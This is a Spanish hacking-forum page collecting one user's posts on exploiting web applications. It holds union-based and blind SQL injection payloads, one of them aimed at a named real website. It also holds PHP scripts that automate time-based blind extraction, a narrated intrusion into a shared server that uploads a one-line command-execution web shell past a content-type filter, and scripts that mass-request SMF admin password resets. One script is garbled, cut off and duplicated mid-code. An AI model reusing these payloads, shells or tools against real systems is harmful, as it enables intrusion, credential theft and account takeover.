Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - OzX

#1
Optimización de SQL Union Injection en MYSQL

Sin lugar a dudas, este es el tipo de inyección que mas fácil se puede obtener información, en un par de consultas se  lograría obtener el nombre de usuario y contraseña del administrador del sistema o de algún usuario con privilegios.
Pero también consta de una etapa que es engorrosa, la obtención de tablas y sus correspondientes campos. Claramente en una base de datos Mysql Versión 5.x.
Gracias a la base de datos information_schema, podemos obtener las tablas y los campos de la base de datos.

La sintaxis Común de la obtención de las tablas es la siguiente

Código ("sql") [Seleccionar]

Select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1


Con dicha consulta obtendríamos la primera tabla de la base de datos, luego aumentando el valor de limit podríamos obtener las demás tablas.

Luego de encontrar la tabla que nosotros creemos que contendría la información de los usuarios, procedemos a obtener los campos de dicha tabla.

Por ej. , Para obtener los campos de la tabla "usuarios".

Debemos transformar el nombre usuarios a su valor hexsql.


Usuario: 0×7573756172696F73



Código ("sql") [Seleccionar]

Select+column_name+from+information_schema.columns+where+table_name=0x7573756172696F73+limit+0,1





Y así tendríamos los datos necesarios para poder generar la consulta final, hacia la base de datos.
Pero luego de hacerlo varias veces en distintas paginas, esta metodología resulta bastante agobiante,al  tener que consultar cada tabla, cada campo por  separado, es por ello que desarrolle una query que muestra la información que a nosotros nos interesa en 1 sola petición.

Ejemplo Consulta Final:


Localhost/vulnz.php?id=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--





Obtendríamos los valores de la siguiente manera.

Campo, Tabla.

Analicemos a Fondo la Consulta.

Consulta que Obtiene las Columnas en Base a una Tabla.


=1+and+1=0+union+select+all+1,2,group_concat(column_name,0x3A,table_name,0x3C62723E),4,5,6+from+information_schema.columns+where+table_name=(CONSULTA_RESTRICCION)+limit+0,1--



       
Consulta Restricción: Con Esta Consulta obtendremos la o las tablas que cumplan con la restricción impuesta por la expresión regular.


select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1


     

Expresión  Regular.


REGEXP+0×2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A




.*((us[ue]|log[io]n|adm)).*



Con esta Expresión podríamos obtener algunos de los nombres mas comunes de las tablas que contienen información relacionada con los usuarios como podría ser :

    * Usuario
    * Username
    * User
    * Administrador
    * Administrator
    * Login
    * Logon
    * etc

Ejemplo Real:

Fuente Vulnz


http://www.buenosaires2050.org/noticias.php?id=39+and+1=2+union+select+1,2,3,4,group_concat(column_name,0x3A,table_name,0x3C62723E),6+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C61646D29292E2A+limit+0,1)+limit+0,1--




Saludos a Todo el Staff de Undersecurity.net

OzX [Undersecurity.net]

Fuente
#2
Búsqueda Binaria Aplicada a las Blind SQL Injection
Antes de empezar me gustaría aclarar algunas cosas:


  • No Pretenderé Ocupar conceptos enredados, ni tampoco caer en tecnicismo, lo explicare como yo lo entiendo, y como me fuese gustado que me lo explicaran.
  • Esta Publicación esta enfocada a las personas que tengan nociones básicas de Blind SQL Injection, quienes no saben de qué estoy hablando, es mejor  que busquen algún tutorial de este tipo de vulnerabilidad en Nuestra Comunidad. o lean los siguientes conceptos.


    Conceptos :


  •   sección SQL Injection en Undersecurity
  •   ¿Que es el Formato ASCII?

    Comandos en MYSQL :

  • MID
  • ASCII

    Control De Flujos:

  •   CASE
  •   IF

    Información Blind SQL Injection

  •   Blind SQL Injection by Netting

    Información Búsqueda Binaria

  •   Busqueda Binaria
  •   Arbol Binario


    Ahora bien empecemos...
    Las Blind SQL Injection, es un tipo de vulnerabilidad que es bastante común y de una explotación bastante sencilla, pero tiene 1 solo problema. Es necesario  generar una cantidad de peticiones bastante considerables hasta encontrar un valor verdadero. Por lo que se convierte en una explotación bastante lenta y tediosa.

    Por Ejemplo, Planteemos el Siguiente Escenario.

    Tabla User



    Datos Contenidos en la tabla User:


  •   Usuario: Administrador
  •   Password: Undersecurity




    Ahora bien, Para Empezar Nosotros Obtendremos el Primer Valor del Usuario, mediante la metodología  Común para explotar las Blind SQL Injection.  (En un Ambiente Controlado dentro de la consola, no es una situación real de explotación).
    Para encontrar un valor verdadero tendremos que testear desde el Carácter 32 de la Tabla Ascii Hasta el Valor 122.
    Como Podemos Observar en la Siguiente Imagen, el Primer valor del Usuario es "A", transformado al formato Ascii obtendría el valor de  65.



    En la Practica Tendríamos que Generar  33 Peticiones (65 – 32) para Recién Obtener el Primer valor del usuario.
    Y si nos ponemos  bien extremistas, si el usuario se llamara zamorano, tendríamos que generar  90 peticiones para recién Obtener el Valor. Por lo que se hace  bastante lento y tedioso este tipo de explotación.

    Ahora viene  la implementación de Búsqueda Binaria.

    La Búsqueda Binaria se basa en la teoría de divide y vencerás. La Idea es ir dividiendo  el  rango en mitades.
    Por Ejemplo : La clave que queremos encontrar es 9.

    Tenemos el Siguiente String



  • arreglo =(1,2,3,4,5,6,7,8,9,10,11);


    Dividimos en 2 el String Obteniendo.


  • Restricción = ( 1, 2, 3, 4, 5,6 ) false
  • Restricción =    (6, 7, 8, 9, 10,11) true


    Si se fijan la cantidad de números dentro del arreglo, es impar, por lo  que se necesita repetir un numero dentro de los 2 String resultantes (6), para obtener 2 String Con la misma cantidad de caracteres.
    Y Ahora ¿Cuál seria Nuestro String a Seguir?, El que Tenga Nuestro Valor a Buscar, en este caso el segundo String o la segunda restricción.


  •   Restricción = (6, 7,8) false
  •   Restricción = (9, 10,11) true


  •   Restricción =  (9,10) true
  •   Restricción =  (10,11) false


  •   Restricción =  (9) true
  • Restricción =  (10) false


    Finalmente obtenemos nuestro valor, dentro de la primera restricción. Con una cantidad de   4 peticiones.
    Esta Misma Metodología Ahora la Aplicaremos a una Blind SQL Injection.
    Ahora Aplicaremos los Valores de la tabla Ascii desde el valor 32 hasta el 122.


  •   Arreglo : 32-122 [Space-z]
  •   Restriccion_1: 32-72 [Space-M]
  •   Restricción_2: 72-122 [M-z]


    Utilizáramos el Siguiente  Consulta SQL.

    Query Global:


    +and+ (SELECT+IF ((ARREGLO), (RESTRICCION_1), false)) —


    Explicación:

    Si El valor a encontrar esta entre los valores del arreglo, entonces consultar si están dentro de la primera restricción. por el contrario si el valor a buscar no esta dentro de la primera restricción, entonces esto significa, que esta dentro de la segunda restricción.

    Query : Restricción_1


         select+case+(ascii(mid((CONSULTA),SUBSTRING,1))+RESTRICCION_1)+when+true+then+(true)+else+false+end


    Explicacion :

    En el caso que el primer valor de la consulta este dentro del rango de la restriccion 1, entonces retornara verdadero. por el contrario retornara falso.

    Ahora bien, un Simple Ejemplo :

        Consulta :


    select+user()


    Valor de user () : Administrador@localhost.com

    Valor a Obtener : A

    Valor ASCII :65

        * Parametros:

    Arreglo: 32-122 [Space-z]
    Restriccion_1: 32-72 [Space-M]
    Restriccion_2: 72-122 [M-z]

    Consulta Completa :


    http://www.host.com/vulnz.php?id=1+and+(SELECT+IF((select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+122)+when+true+then+(true)+else+false+end),(select+case+(ascii(mid((select+user()),1,1))+BETWEEN+32+AND+77)+when+true+then+(true)+else+false+end),false))--


    Explicacion :

    Buscaremos el Primer valor de la consulta "select user()", el cual es A, (Ascii: 65), primero consultaremos si el  valor esta entre 32-122 [Space-z], si este resulta verdadero entonces retonara TRUE , o por el contrario si no esta dentro del rango 32-122 retornara FALSE.

    Si el valor  retornado por la primera consulta es TRUE , entonces consultara si el primer valor esta entre 32-77 [Space-M], si esto es verdadero retornara TRUE, por el contrario retonara FALSE y el valor estaria entre 72-122[M-z].

    En Esta  Consulta Reducimos Nuestras alternativas de 90 a 45.

    ¿Podrías Adivinar que Estado Retornara la Consulta , Si el valor a Buscar es 64?

        * Si Pensaste en TRUE, estas en lo Correcto.

    Luego En la Segunda vuelta , el  rango que se encuentre dentro del valor a buscar (en este caso 32-77), se convertirá en nuestro arreglo, y se dividirá en 2 ([32-54]-[55-77]), así sucesivamente, hasta encontrar el valor final, en solo 7 consultas.

    Grafica :

    Full-Size
    (Solo Muestra el Rango desde 32-77)


    Para Demostrar Esta Metodología Desarrolle un Pequeño Programa que solamente muestra 1 carácter,  en 7 peticiones.

    Aclaro :  Es un PoC en Php.

    Posteriormente dentro del Lab de Undersecurity.net Se desarrollara la Tool Completa.

    Imagen :



    Código del POC Llamado BlindD00l:

    Descargar Blind00l


  • Testeado En Mysql 5.x
  • Curl Activado

    Gracias a toda la Comunidad Undersecurity.net

  • Cic4tr1z : logística Infinita
  • Nork : Correcciones y Apoyo en ideas extravagantes.
  • 1995: Apoyo Incondicional.
  • N0b0dy :Notable y leal animo a la comunidad.
  • Lix : Por ser Simplemente Lix.
  •   y A muchos mas que quedaron en el camino.

    #OzX [Undersecurity.net]

    Fuente
#3
El Objetivo del Post es demostrar que es posible ingresar a una web no necesariamente por la Misma en cuestion, sino mas bien que es posible ver que paginas estan alojadas en el servidor y poder subir una shell de forma paralela. aprovechando las vulnerabilidades que estan en otras paginas alojadas en el Mismo Servidor. Porque simplemente una pagina es una Carpeta mas dentro de un Servidor.



Este es un Caso real de una Empresa que hace Paginas para el Gobierno, Aunque no e recibido contacto alguno de parte de ellos, posteo la metodologia de la intrusion y imagenes de un Video que les Envie. No posteo la Falla en Si ni la Pagina, porque no FALTARA, el que hace provecho de este. Espero que sea les de Utilidad.

Edite todas las Imagenes, para no tener Problemas.

A la  pagina que yo Deseo Ingresar, Llamemosla Objetivo.com.

Analizando la Web me encuentro que es puro html, mas duro que una Roca, tiene una zona de login pero Sin fallas de Injecciones, Luego de saber de forma manual que no podia ingresar, busque en google algun archivo php u asp, que estuviera en el Sitio.


site:objectivo.com inurl:php
site:objectivo.com inurl:asp


Y para mi Sorpresa solo existia 1 solo php que era del Login y de la zona de usuario.

Ahora bien , aunque paresca el evangelizador de las reverse Dns, encuentro que es una Opcion Total, para las intrusiones en Servidores Compartidos.

Reverse DNS:


Me Encuentro Con Varios Sitios, 2 de ellos Joomla, dios que Odio los Joomla XD¡. Aunque sean Utiles, No me gustan. Por lo Cual los deje para el FInal.
Pero para i sorpresa me encuentro con una Web que se nota que no a sido actualizada hace mucho mucho tiempo, por lo cual, mi mision ahora es ingresar por dicha Web.

Llamemos esta web Compartido.com

Analizando la Web encuentro una Falla de Sql Injection:



Ahora bien, tenia todo el Animo del Mundo, pero a medida que iva desentrañando la Vulnerabilidad me doy cuenta que es una Version 4 de mysql (adios schema), intente adivinar las tablas y nada. Dije vamos como tan Mal ¡ Intente si tenia Magic quotes ..... y Sep. Adios Into Out File.

Busque otros Inputs Vulnerables pero todos me llevaban a la Misma Inyeccion. 


AL Otro dia ya mas relajado, empiezo a buscar el panel de administrador, para ver por si, como era una web antigua tenia la mitica injeccion sql de 'or'+1=1--, buscando no me demore ni 1 seg en provar /admin/, el cual magicamente aparecio ante mi.



Panel:


Y que No ¡



me reia solo al pensar que pase como 2 horas provando tablas y opciones, teniendo el acceso a un "/admin" de distancia...

Rapidamente fui a buscar algun Upload, y claramente encontre uno, pero tenia un Filtro basico para que solo se puedera subir imagenes. (content-type)



Volvi a Subir la Shell pero la volvi a enviar , pero dejando el content type del jpg, pero cambiando la extension.



Shell Up :


Ahora bien la "Shell" Que subir es un Simple Request Pasado al Systema.


<? system($_REQUEST['cmd']); ?>


¿Porque?

En lo personal Encuentro que con este Tipo de Shell es mucho mas facil subir el archivo , principalmente por eso, y tambien porque no es tan invasivo como Subir la Shell directamente. La Puedes Incluso dejar como Backdoor.

Ahora teniendo Esto Arriba, nada mas tenia que ubicar el path en donde se alojaba Objectivo.com




Pero uhmmm, como lo Sabre?... Pues en la Segunda Imagen se Muestra Claramente el Path con el Error.
Aunque paseando por el sistema se puede saber facilmente el path.



Ahora ya Conociendo el Path nada mas me quedaba Subir la Shell, a Objetivo.com pero ¿Como se que Carpeta tien permisos de escritura?, En lo personal, veo las imagenes alojadas en el servidor, y observo la Ruta de este, "casi" siempre, estas carpetas en donde se alojan las imagenes, estan con permisos, por lo cual mi Ruta era.


var/www/vhost/objectivo.com/admin/upload/


Y Gracias  a Este Post de Como  Subir Shell Via Wget



The Show Time ¡



Saludos¡
OzX¡
Undersecurity.net
#4
En el Afan de poder Crear Hilos Paralelos en php, para una tool (YASBU ) llegue a pcntl_fork, pero este solo funciona en unix, aunque puede ser instalado en windows nececita de una version compilada con --enabled-pcntl por lo cual volver a compilar php y que no todos lo tengan, me mancho la pelicula.


Luego de Investigar Bastante y Caer en Esta web
http://www.ibm.com/developerworks/library/os-php-multitask/index.html

Logre Ver que se podia , con "stream_socket"


Código (php) [Seleccionar]

<?php

//coded by OzX Undersecurity.net

$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.google.com";
$hosts[] = "www.microsoft.com";
$hosts[] = "www.terra.cl";
$hosts[] = "www.ask.com";
$hosts[] = "www.terra.cl";


$data "";
$timeout 15;
$sockets = array();


#Asignamos Los sockets Creados a un Array 
foreach ($hosts as $id => $host) {
$sockets[$id] = stream_socket_client("$host:80"$errno$errstr$timeoutSTREAM_CLIENT_ASYNC_CONNECT);
}
#=================================================
$total count($sockets); //Contamos el Total de Socket Creados

for($x=0;$x<$total;$x++){ // Creamos el Ciclo para Realizar las Peticiones
$write $sockets//Se Copia el array de sockets a write, en cada ciclo este sera 1 menos.
$n stream_select($r=null$write$e null$timeout); //establecemos y selecionamos un socket.
echo "[+] HOST :".$hosts[$x]."\n";
if ($n 0) { //si existen cambios (si quedan socket por procesar)then...
$packet  "GET /index.php HTTP/1.1\r\n";//Headers
$packet .= "Host: ".$hosts[$x]."\r\n";    //Headers
$packet .= "Connection: close\r\n\r\n";    //Headers
fwrite($sockets[$x],$packet); //Enviamos la Peticion
     while (!feof($sockets[$x])) {
        $data .= fgets($sockets[$x], 128); //Obtenemos el Code Source
      }
 echo strlen($data)."\n"//Contamos el Total (Solo Test)
fclose($sockets[$x]); //Cerramos Conexion
$data "";
/*Borramos en el Array La peticion recien pasada para que en el siguiente */
unset($sockets[$x]); 


}
}


?>





La Magia ¡ 30 Peticiones Simultaneas :D





Y así Tenemos MultiHilos sin Fork ¡, Nose que Fallas Podria Tener pero nunca esta a salvo.




Saludos¡
Fuente



EDIT: Edito el titulo y le Agrego FAKE   :laugh: Para evitar nuevamente que me digan "hey chaval estas mal no es fork  :¬¬" FAKE.


Saludos ¡
#5



Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:

http://www.site.com/download.php?id=2


Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citarhttp://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url=" > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
         fwrite($f1,$info);
         fclose($f1);
         exit();
   }else{
      echo chr($ascii[$x]).chr(13);
   }
               }

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>


[/code]

Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.


$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0



Saludos ¡
OzX¡

Fuente : ).chr(13);
   }
               }

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>


[/code]

Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.


$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0



Saludos ¡
OzX¡

Fuente : [url=http://foro.undersecurity.net/read.php?5,775,776]http://foro.undersecurity.net/read.php?5,775,776
#6
Hi
;D


Espero que alguie me pueda dar un cable.

Mi Problema es el Sguiente


Tengo una Inyeccion Time-based Blind SQL; que me funciona de maravillas.

CitarDato = es lo mismo que hacer 2+and+1=0+union+select+all+1,2,3,4,5,6,7,8,9/* <= INY NORMAL.

Código (sql) [Seleccionar]
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),0,1)/**/=/**/CHAR(%2297%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+bd.tabla+where+id=1+limit+0,1/*

Cuando es Falso tiene un Retorno de 4 a 7 segundos y cuando es verdadero tiene un deface de mas de 15 seg, entre 20 a 21 segundos.

Codie una tool para este fallo, q me permite automatizar todo, lo posteo por si alguien luego nececita algun cable con esto.

php script.php 1 97 //Empieza del 2 caracter a buscar desde la letra a
Código (php) [Seleccionar]
set_time_limit (0);
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}



$v = $argv[2]; //desde donde empieza el ansii
$limit = $argv[1]; // valor q obtener, el primero, segundo tercer caracter , 1,2,3

for($x=$v;$x<=122;$x++){
$starttime=time();
echo "[+] Testing :>  ".$x."   =================>     ".chr($x);

$source = GET("http://www.site.com/bug=2+UNION+SELECT+IF+(SUBSTRING(concat_ws(0x5F5F,login,password),".$limit.",1)/**/=/**/CHAR(%22".$x."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+0,1/*");

$endtime=time();

$difftime=$endtime - $starttime;
echo "              DIFERENCIA  -> ".$difftime."\r\n";
if ($difftime >15){ //Tiempo max de Respuesta TRUE
system("clear");
echo "              DIFERENCIA  -> ".$difftime."\r\n";
echo " #####################ENCONTRADO [ ANSII[".$x."]    ".$limit."   ] ===> ".chr($x)."\r\n";
exit();
}

}




buenooo. ahora bien obtengo todos los datos que nececito, pero me surgio un gran drama, la pass y el user es case sentitive, por lo cual nececito ver si son mayusculas o minisculas, pero el blind me tira la misma cantidad de tiempo cuando es una A mayusculas que cuando es una a miniscula, y nose porque, 115 (s) y 83(S), son 2 numeros distintos pero de igual forma, me dice que es verdadero.

Citarozx@OzX:~/Escritorio$ php adminblind.php 1  115
  • Testing :>  115   =================>     s              DIFERENCIA  -> 20
                  DIFERENCIA  -> 20
    #####################ENCONTRADO [ ANSII[115]    1   ] ===> s
    ozx@OzX:~/Escritorio$ php adminblind.php 1 83
  • Testing :>  83   =================>     S              DIFERENCIA  -> 21
                  DIFERENCIA  -> 21
    #####################ENCONTRADO [ ANSII[83]    1   ] ===> S

¿Como podria atravez de la Iny indentificar si es LOWER o UPPER ?


taba provando algunos SELECT+IF+LOWER, y UPPER, pero la iny se me va al carajo..

Alguna idea?

Saludos¡
#7
Reset Admin Password 1.1.7  SMF (TEORIA)

Al Pedir La Contraseña, Nos Entrega Via Email una Url Similar  a Esta.

http://password.esp.am/index.php?action=reminder;sa=setpassword;u=1;code=832da39b01

En Donde:


  • u = Id del Usuario
  • code = Codigo de reseteo

¿Entonces?

Si Yo Ingreso el Mail del Administrador para Poder Resetear su Contraseña, y "Adivino" El codigo de Reseteo, Podria Resetear la Contraseña del Administrador.

¿Pero Como Carajos Sabria yo el Codigo de Reseteo?

Buena pregunta, Lo Mismo me Pregunte, y Con esa Duda en mi Cerebro, inicie un Testeo de como eran los Codigos, Para Poder Obtener Algun Patron.

Codie distintos Scripts Para Poder Facilitarme el Trabajo.


Scripts Que Envia La peticion para Que el Servidor Envie el Mail de Resteo de la Contraseña.
Server de Spam :http://spamavert.com/

Ocupe Spamavert, porque asi se me hacia muxo mas facil luego poder obtener el Codigo "code"


<?
#FUNCION GET OBTIENE EL CODE SOURCE
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function POST($mail,$sid){
$curl = curl_init();
$post = "user=".$mail."%40spamavert.com&sc=".$sid;
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, "http://password.esp.am/index.php?action=reminder;sa=mail");
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://password.esp.am/index.php?action=reminder');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_COOKIEJAR, "my_cookies.txt");
curl_setopt($curl, CURLOPT_COOKIEFILE, "my_cookies.txt");
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
$result= curl_exec ($curl);
curl_close ($curl);
return $result;
}

function send_mail($mail){
$url = "http://password.esp.am/index.php?action=reminder";
preg_match_all("/hashLoginPassword\(this.*\'(.*)\'\);\">/", GET($url), $datos,  PREG_SET_ORDER);
$source = POST($mail,$datos[0][1]);
if (preg_match("/A mail has been sent to your email address/", $source)) {
echo "Email Enviado\n";
}else{
echo "ERROR\n";
}
}

$mail = $argv[1];

for ($x=1;$x<=500;$x++){
echo $x." = ";
send_mail($mail);
}




?>

Ej:
php script.php nombre_de_usuario_del_mail

Lo Cual hacia que en mi Casilla Enviara 500 peticiones De Reseteo de Contraseña.


El Segundo Script Era el de Obtener el Codigo "code" de las Casillas de Mails.


<?
#FUNCION GET OBTIENE EL CODE SOURCE
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$html = curl_exec($curl);
curl_close($curl);
return $html;
}

function suma($code){
$suma = 0;
for ($x=0;$x<strlen($code);$x++){
$var = substr($code,$x,1);
if (!is_numeric($var)){
$suma +=hexdec($var);
}else{
$suma +=$var;
}
}
return $suma;
}


$mail =  $argv[1];

$host = "http://spamavert.com/";
$url = $host."/mail.php?alias=".$mail."&showIndex=1";
preg_match_all("/(mail\.php\?alias=.*&amp;ixMail=(\d*))'\"/", GET($url), $datos,  PREG_SET_ORDER); //**


for ($x=0;$x<count($datos);$x++){
$webs[] = preg_replace('/amp;/',"", $host.$datos[$x][1],1);
}
echo "[+] Mails :> ".count($webs)."\n";

foreach ($webs as $web){
preg_match_all("/code=(\w{10})\"/", GET($web), $datos,  PREG_SET_ORDER);
$valor = $datos[0][1];
echo $datos[0][1]." ".suma($valor)."\n";
}



?>



Ahora Bien lo que me Generaba En Pantalla Era:

Cita de: Codigos
9a4db8e017 77
d66a2d9181 69
e5debd2f3f 105
90fa036d6f 77
eb0fbdc58d 102
6d4b289f1e 83
a86aaeae39 94
5f911c7831 62
f67a96358a 79
12c484b448 58
1863121fbe 62
0a5d48fa55 75
fa95611eb1 73
9179662329 54
ac421d0a80 60
e1d8e03d21 69
1d2613c7fa 70
f3e72d0a70 71
5de4e72164 70
e6bb3c5aa4 86
e88a33ebd3 87


Mostraba Todos los Codigos de Reseteos, Pero eran Invalidos, porque una vez Que se vuelve a Enviar otro, el anterior ya no sirve.

Talvez se Preguntaran ¿ y ese Codigo Que esta al Costado?

e88a33ebd3 87

Pues es la "Super" Ciencia que deduje XD¡

